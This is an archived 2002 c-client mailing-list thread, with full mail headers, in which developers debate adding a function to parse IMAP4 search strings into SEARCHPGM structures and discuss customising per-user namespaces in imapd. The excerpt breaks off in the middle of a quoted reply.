samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id gALEcNf24117 for ; Thu, 21 Nov 2002 11:38:24 -0300 Message-Id: <3DDCEFCA.5070705@samera.com.py> Date: Thu, 21 Nov 2002 11:38:02 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN My point is that, if every c-client user must parse a IMAP4 serch string into a *SEARCHPGM, why do not let c-client does the job? Imagine the this code: SEARCHPGM *my_search; my_search = imap4_to_searchpgm("FLAGGED OR FROM SMITH CC JONES"); mail_search_full(imap_stream, NIL, my_search, flags); Is much more easier for the c-client users than this code: SEARCHPGM *my_search; /* { // parse the imap4 search string into my_search } */ mail_search_full(imap_stream, NIL, my_search, flags); Please note that the parsing from a IMAP4 search string to a SEARCHPGM* will always be done in a language like PHP. PHP use c-client, but a PHP programer does nothing about c-client. So, the PHP programer will pass a imap4 search string that was entered in a GUI by the user. The PHP programer will convert this GUI to an imap4 search string, then PHP will parse this imap4 search string to a SEARCHPGM* and that is where the extra work is done. PHP, like other languages, offer to the programer an abstraction layer on top of c-client. So, the programes only need to know PHP and IMAP4, and not PHP, IMAP4 and c-client. (answer continue bellow ) Mark Crispin wrote: >On Wed, 20 Nov 2002, Oliver Schulze L. wrote: > > >>I understand your point, but the parsing I'm talking about is the >>parsing of a IMAP4 search string. Not a search string entered >>by the user. >> >> > >Yes, but when you use mail_criteria(), what happens is that the string is >parsed into a SEARCHPGM which is subsequently converted into an IMAP >SEARCH command. It's a lot of extra conversions, but this was done >because of the need to handle literals in IMAP. > > I know the mail_criteria() is old and ineficient, but I think we need somethink like mail_criteria(). Somethink new but with the same functionallity that mail_criteria() has. > > >>I think if there is a function that parses an IMAP4 search string >>into an *SEARCHPGM, it will help programers that use the >>c-client library. >> >> > >Why can't programmers create SEARCHPGMs directly? They should be > Because programers don't program using the c-client library. For example in PHP, PHP provides an abstraction layer to the PHP programer. So, the PHP programer only need to know PHP and IMAP4 protocol, not c-client. >easier >to do than IMAP search strings, especially since IMAP search strings are >very difficult to handle when you do string searches. > >mail_criteria() is a compatibility routine for old programs which hadn't >been converted yet. I'm more likely to remove mail_criteria entirely than >try to update it for IMAP4. There's a reason why SEARCHPGMs were created >instead of using char* strings. > I'm not asking to update mail_criteria(), what I'm saying is that c-client needs a function like mail_criteria(). A totally new thread safe function. Regards Oliver > >As a result of the additional complexity of IMAP4, IMAP search strings >don't work well as a char* any more. They are complex, multiline things >that are broken up depending upon underlying IMAP requirements that have >nothing to do with strings. > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. > > -- Oliver Schulze L. From pinedev@shivax2.cac.washington.edu Thu Nov 21 07:00:31 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 07:00:31 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALF0Vqt013323 for ; Thu, 21 Nov 2002 07:00:31 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 21 07:00:30 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALF0TYT032325 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 07:00:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALEuwaQ012664; Thu, 21 Nov 2002 06:56:59 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALEsPrw018140 for ; Thu, 21 Nov 2002 06:54:25 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 21 06:54:24 2002 -0800 Received: from mid-2.inet.it (mid-2.inet.it [213.92.5.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALEsNEi032602 for ; Thu, 21 Nov 2002 06:54:24 -0800 Received: from [::ffff:213.92.1.237] by mid-2.inet.it via I-SMTP-4.3.0-430 id ::ffff:213.92.1.237+V6kTtigqMcKX; Thu, 21 Nov 2002 15:54:22 +0100 Message-Id: <349FAB6A-FD61-11D6-B05E-0003934A5A7E@inet.it> Date: Thu, 21 Nov 2002 15:54:59 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: imap c-client Subject: Initialization Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI, I want to extend the imapd/c-client with namespaces in such a way that every logged in (or authenticated) user can have a different namespace. I understand to manipulate the namespace I need create a new DRIVER (I call it namespace_driver) to handle the functions SET_NAMESPACE and GET_NAMESPACE from within mail_parameters and must also delete the handling of SET_NAMESPACE and GET_NAMESPACE in the files: mail.c, imap4r1.c, env_unix.c. I would like to know is the is a specific mail_parameter function that would do initialization for a DRIVER as soon a user is authenticated. Now I need to add lines to imapd.c in order to call SET_NAMESPACE. I am not sure, but an AUTHENTICATOR could potentially be used for this, but it seems that my own defined AUTHENTICATOR never calls any function of it. Any hints is appreciated, Harrie Software developer, Technical Department -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 21 08:07:15 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 08:07:15 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALG7Fqt015179 for ; Thu, 21 Nov 2002 08:07:15 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Nov 21 08:07:12 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALG7BYT001580 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 08:07:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALG3oS1018160; Thu, 21 Nov 2002 08:03:50 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALG1Crw015260 for ; Thu, 21 Nov 2002 08:01:12 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Nov 21 08:01:10 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALG1ADe011367 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 21 Nov 2002 08:01:10 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALG1AEC012400 for ; Thu, 21 Nov 2002 08:01:10 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Thu Nov 21 08:01:07 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM ([12.108.253.3]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALG15mZ009940 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Nov 2002 08:01:07 -0800 Message-Id: Date: Thu, 21 Nov 2002 11:00:58 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: <3DDCEFCA.5070705@samera.com.py> References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 21 Nov 2002, Oliver Schulze L. wrote: > My point is that, if every c-client user must parse a IMAP4 serch string > into a *SEARCHPGM, why do not let c-client does the job? That's the whole point. Why should a c-client user deal with IMAP4 search strings at all? IMAP4 search strings are for protocols, not for human users. > Imagine the this code: > SEARCHPGM *my_search; > my_search = imap4_to_searchpgm("FLAGGED OR FROM SMITH CC JONES"); > mail_search_full(imap_stream, NIL, my_search, flags); This is a good example. You are assuming that SMITH and JONES are atomic values, but they don't have to be. If non-atomic, then you have to know how to apply IMAP quoting and literals. And with literals, you have nesting (due to the OR) and a query/response. So your simple example becomes a recursive call plus the send literal and response. Take a look at how imapd parses search commands if you don't believe me. It may look a lot like mail_criteria(), but note those recursive calls and callbacks. You can't do that with a char*. That's why SEARCHPGM was created. And even if the tokens are atomic, I challenge you to find any human who will guess the correct interpretation of FLAGGED OR FROM SMITH CC JONES the first time. You have to have a different representation of searching for your human users. Why do we need *yet another* non-human representation of the same thing? > So, the PHP programer will pass a imap4 search string that was entered > in a GUI by the user. Why? Once again, there is no such thing as an "IMAP4 search string". At best, you can have a search string that's a subset of IMAP4. IMAP4 searches can not be represented by a char*. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Nov 21 08:12:49 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 08:12:49 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALGCnqt015341 for ; Thu, 21 Nov 2002 08:12:49 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 21 08:12:48 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALGClYT001727 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 08:12:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALG9Tg2085830; Thu, 21 Nov 2002 08:09:29 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALG7lrw029434 for ; Thu, 21 Nov 2002 08:07:47 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Nov 21 08:07:46 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALG7kPC028273 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 21 Nov 2002 08:07:46 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALG7kEC013835 for ; Thu, 21 Nov 2002 08:07:46 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Thu Nov 21 08:07:45 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM ([12.108.253.3]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALG7fmZ010205 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Nov 2002 08:07:44 -0800 Message-Id: Date: Thu, 21 Nov 2002 11:07:35 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Harrie Hazewinkel Cc: imap c-client Subject: Re: Initialization In-Reply-To: <349FAB6A-FD61-11D6-B05E-0003934A5A7E@inet.it> References: <349FAB6A-FD61-11D6-B05E-0003934A5A7E@inet.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 21 Nov 2002, Harrie Hazewinkel wrote: > I understand to manipulate the namespace I need create a new > DRIVER (I call it namespace_driver) to handle the functions > SET_NAMESPACE and GET_NAMESPACE from within mail_parameters > and must also delete the handling of SET_NAMESPACE and > GET_NAMESPACE in the files: mail.c, imap4r1.c, env_unix.c. I think that you are going about this the wrong way. First, I am unsure if you understand what "namespace" means in IMAP. It does not mean "directory being used"; it refers to the syntax of names. Do you really want every user to have a different syntax of names in their client? Some users use "/" for a hierarchy delimiter, others use ".", others use "\", others use... In any case, you definitely do not want to delete the namespace calls imap4r1.c, since that is IMAP client code and a client can't change the syntax of names on the server. Second, assuming that you want to change the "directory being used" and possibly the "directories available for use". You do all that by customizing env_unix.c and leaving all other files alone. If you really want to change namespaces per user, you do that in env_unix.c without changing any other modules. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Nov 21 09:50:37 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 09:50:37 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALHobqt019157 for ; Thu, 21 Nov 2002 09:50:37 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 21 09:50:35 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALHoXYT005037 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 09:50:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALHkrg2086502; Thu, 21 Nov 2002 09:46:54 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALHhZrw026392 for ; Thu, 21 Nov 2002 09:43:40 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Nov 21 09:43:34 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALHhSPB016526 for ; Thu, 21 Nov 2002 09:43:32 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id gALHhUf02937 for ; Thu, 21 Nov 2002 14:43:30 -0300 Message-Id: <3DDD1B2B.8030906@samera.com.py> Date: Thu, 21 Nov 2002 14:43:07 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, thanks for answering, I now understand that I'm not expresing myself the right way. We are using diferent terms. Let me defne the terms I'm using. - "IMAP4 search string": a char string that a IMAP4 server can understand when you send it via telnet (i.e. telnet localhost imap). This is a search string using char as defined in the RFC 2060 that the imap server can understand. Example of "IMAP4 search string": "FLAGGED OR FROM SMITH CC JONES" - "Human search string": a search criteria entered by the user using some sort of GUI. This string is easily interpreted by the user and can not be interpreted by the imap server. I don't know the official name for these strings I'm talking about, thats why I called "IMAP4 search string". Sorry about the confusion. Now, let me make an example of the function I'm talking about: 1. The user search this human search string: "messages which are flagged, or are from SMITH and cc JONES" 2. The PHP programer, in the PHP program, somehow translates this human search string into an IMAP4 search string. The result string is: "FLAGGED OR FROM SMITH CC JONES" 3. The PHP programer use a PHP function to send this IMAP4 search string to the server. 4. The folowing C code is executed by PHP(inside the PHP search function): SEARCHPGM *my_search; my_search = imap4_to_searchpgm("FLAGGED OR FROM SMITH CC JONES"); mail_search_full(imap_stream, NIL, my_search, flags); 5. the IMAP server undestand the IMAP4 search string and returns the results to the C code in the PHP search function. How I know this IMAP4 search string works? Well, I telneted my imap server this way: $ telnet localhost imap 1 login user passwd 2 select INBOX 3 SEARCH FLAGGED OR FROM SMITH CC JONES 4 logout Why a new function? I started this thread because I can use telnet to send this char string to the imap server, but I can not do that using c-client. In c-client I have to parse a char string into a structure called SEARCHPGM and then use this structure to call a c-client search function. Since every c-client user(programer) must do a custom parsing of a IMAP4 search string into a SEARCHPGM, I sugest to have a function for doing this parsing. I'm not asking to create function because I don't want to create SEARCHPGM structures or becasue I'm lazy, but because it will help languages like PHP and will make programers develop faster aplications using the c-client library. About your points. - I understand that most c-client users(programers) receives a human search string from the user via some sort of GUI and then they build a SEARCHPGM, but this is not always the case. In PHP, for example, the PHP seach function receives an IMAP4 search string, not an human search string. - mail_creteria(), I know this is a deprecated function. I don't pretend to upgrade it or even use it. I propose the creation of a new funtion for the case when you have an IMAP4 search string and: want to sent it to the imap server in the simplest way without having to do any custom parsing from a char IMAP4 search string into a structure of type SEARCHPGM. I hope you can understand my point. I try to write as good as I can, but sometimes my english does not work too well for me. Thanks Oliver Mark Crispin wrote: >On Thu, 21 Nov 2002, Oliver Schulze L. wrote: > > >>My point is that, if every c-client user must parse a IMAP4 serch string >>into a *SEARCHPGM, why do not let c-client does the job? >> >> > >That's the whole point. Why should a c-client user deal with IMAP4 search >strings at all? IMAP4 search strings are for protocols, not for human >users. > > > >>Imagine the this code: >>SEARCHPGM *my_search; >>my_search = imap4_to_searchpgm("FLAGGED OR FROM SMITH CC JONES"); >>mail_search_full(imap_stream, NIL, my_search, flags); >> >> > >This is a good example. You are assuming that SMITH and JONES are atomic >values, but they don't have to be. If non-atomic, then you have to know >how to apply IMAP quoting and literals. And with literals, you have >nesting (due to the OR) and a query/response. > >So your simple example becomes a recursive call plus the send literal and >response. > >Take a look at how imapd parses search commands if you don't believe me. >It may look a lot like mail_criteria(), but note those recursive calls and >callbacks. You can't do that with a char*. > >That's why SEARCHPGM was created. And even if the tokens are atomic, I >challenge you to find any human who will guess the correct interpretation >of > FLAGGED OR FROM SMITH CC JONES >the first time. > >You have to have a different representation of searching for your human >users. Why do we need *yet another* non-human representation of the same >thing? > > > >>So, the PHP programer will pass a imap4 search string that was entered >>in a GUI by the user. >> >> > >Why? > >Once again, there is no such thing as an "IMAP4 search string". At best, >you can have a search string that's a subset of IMAP4. IMAP4 searches can >not be represented by a char*. > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. > > -- Oliver Schulze L. From pinedev@shivax2.cac.washington.edu Thu Nov 21 10:15:11 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 10:15:11 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALIFBqt020028 for ; Thu, 21 Nov 2002 10:15:11 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 21 10:15:10 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALIF8YT005902 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 10:15:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALIBng2079888; Thu, 21 Nov 2002 10:11:49 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALI9arw026612 for ; Thu, 21 Nov 2002 10:09:36 -0800 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 21 10:09:34 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALI9YPC022961 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 21 Nov 2002 10:09:34 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALI9XVM028739 for ; Thu, 21 Nov 2002 10:09:34 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Thu Nov 21 10:09:23 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (Shimo-Tomobiki.Panda.COM [204.42.67.247] (may be forged)) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALI9JmZ017151 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Nov 2002 10:09:22 -0800 Message-Id: Date: Thu, 21 Nov 2002 13:09:16 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: <3DDD1B2B.8030906@samera.com.py> References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 21 Nov 2002, Oliver Schulze L. wrote: > - "IMAP4 search string": a char string that a IMAP4 server can understand > when you send it via telnet (i.e. telnet localhost imap). As I explained earlier, IMAP search commands are much more complex than a single string. So, what you are calling an "IMAP search string" is a char* subset of what can be sent to an IMAP server, and thus a *third* representation of searching: IMAP search command, SEARCHPGM, and this new subset string which expresses some but not all IMAP4 searches. > 1. The user search this human search string: > "messages which are flagged, or are from SMITH and cc JONES" > 2. The PHP programer, in the PHP program, somehow translates this human > search string into an IMAP4 search string. The result string is: > "FLAGGED OR FROM SMITH CC JONES" You just proved one of my points. That is not the correct translation. Human "messages which are flagged, or are from SMITH and cc JONES" is OR FLAGGED (FROM SMITH CC JONES) in IMAP. Conversely, IMAP FLAGGED OR FROM SMITH CC JONES is human "messages which are flagged, and are: 1) from smith or 2) cc jones or 3) from smith and cc jones". Now, if you want human "messages which are flagged, or are either from SMITH or cc JONES", then you want OR FLAGGED OR FROM SMITH CC JONES Or perhaps you want "messages which are flagged, and are from SMITH or cc JONES but not from SMITH and cc JONES" then you want FLAGGED OR FROM SMITH CC JONES NOT FROM SMITH CC JONES I think that you're starting to see why IMAP search criteria, while very logical, are absolutely not the sort of thing that you want to send to humans. > 3. The PHP programer use a PHP function to send this IMAP4 search > string to the server. > Why? Why not send a SEARCHPGM, or something that more reasonably translates into a SEARCHPGM? > 5. the IMAP server undestand the IMAP4 search string No, the IMAP server understands an IMAP4 SEARCH command, which is sent from a SEARCHPGM, which is totally different from what you're calling an "IMAP4 search string" even if there are similarities. > Since every c-client user(programer) must do a custom parsing of a IMAP4 > search string into a SEARCHPGM I am suggesting, once again, that if a C programmer is dealing with "IMAP4 search strings" he's going about it the wrong way. Such strings are never sent to the server. What is sent to the server is generated by the c-client library, and can easily be a very interactive process resulting in multiple transmit/response operations. Why can't PHP deal with SEARCHPGMs? That *is* the IMAP4 search criteria. If I could have used a char* string I wouldn't have created SEARCHPGM. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Nov 21 10:46:03 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 10:46:03 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALIk3qt021215 for ; Thu, 21 Nov 2002 10:46:03 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Nov 21 10:46:02 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALIk1YT007052 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 10:46:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALIgXg2095890; Thu, 21 Nov 2002 10:42:34 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALIeFrw017114 for ; Thu, 21 Nov 2002 10:40:15 -0800 Received: FROM mxu5.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 21 10:40:15 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALIe9WH009011 for ; Thu, 21 Nov 2002 10:40:12 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id gALIeUf06568 for ; Thu, 21 Nov 2002 15:40:30 -0300 Message-Id: <3DDD288B.1070309@samera.com.py> Date: Thu, 21 Nov 2002 15:40:11 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, Mark Crispin wrote: >On Thu, 21 Nov 2002, Oliver Schulze L. wrote: > > >>- "IMAP4 search string": a char string that a IMAP4 server can understand >> when you send it via telnet (i.e. telnet localhost imap). >> >> > >As I explained earlier, IMAP search commands are much more complex than a >single string. So, what you are calling an "IMAP search string" is a >char* subset of what can be sent to an IMAP server, and thus a *third* >representation of searching: IMAP search command, SEARCHPGM, and this new >subset string which expresses some but not all IMAP4 searches. > > > >>1. The user search this human search string: >> "messages which are flagged, or are from SMITH and cc JONES" >>2. The PHP programer, in the PHP program, somehow translates this human >> search string into an IMAP4 search string. The result string is: >> "FLAGGED OR FROM SMITH CC JONES" >> >> > >You just proved one of my points. That is not the correct translation. > >Human "messages which are flagged, or are from SMITH and cc JONES" is > OR FLAGGED (FROM SMITH CC JONES) >in IMAP. > >Conversely, IMAP > FLAGGED OR FROM SMITH CC JONES >is human "messages which are flagged, and are: > 1) from smith >or > 2) cc jones >or > 3) from smith and cc jones". > >Now, if you want human "messages which are flagged, or are either from >SMITH or cc JONES", then you want > OR FLAGGED OR FROM SMITH CC JONES > >Or perhaps you want "messages which are flagged, and are from SMITH or cc >JONES but not from SMITH and cc JONES" then you want > FLAGGED OR FROM SMITH CC JONES NOT FROM SMITH CC JONES > >I think that you're starting to see why IMAP search criteria, while very >logical, are absolutely not the sort of thing that you want to send to >humans. > > > >>3. The PHP programer use a PHP function to 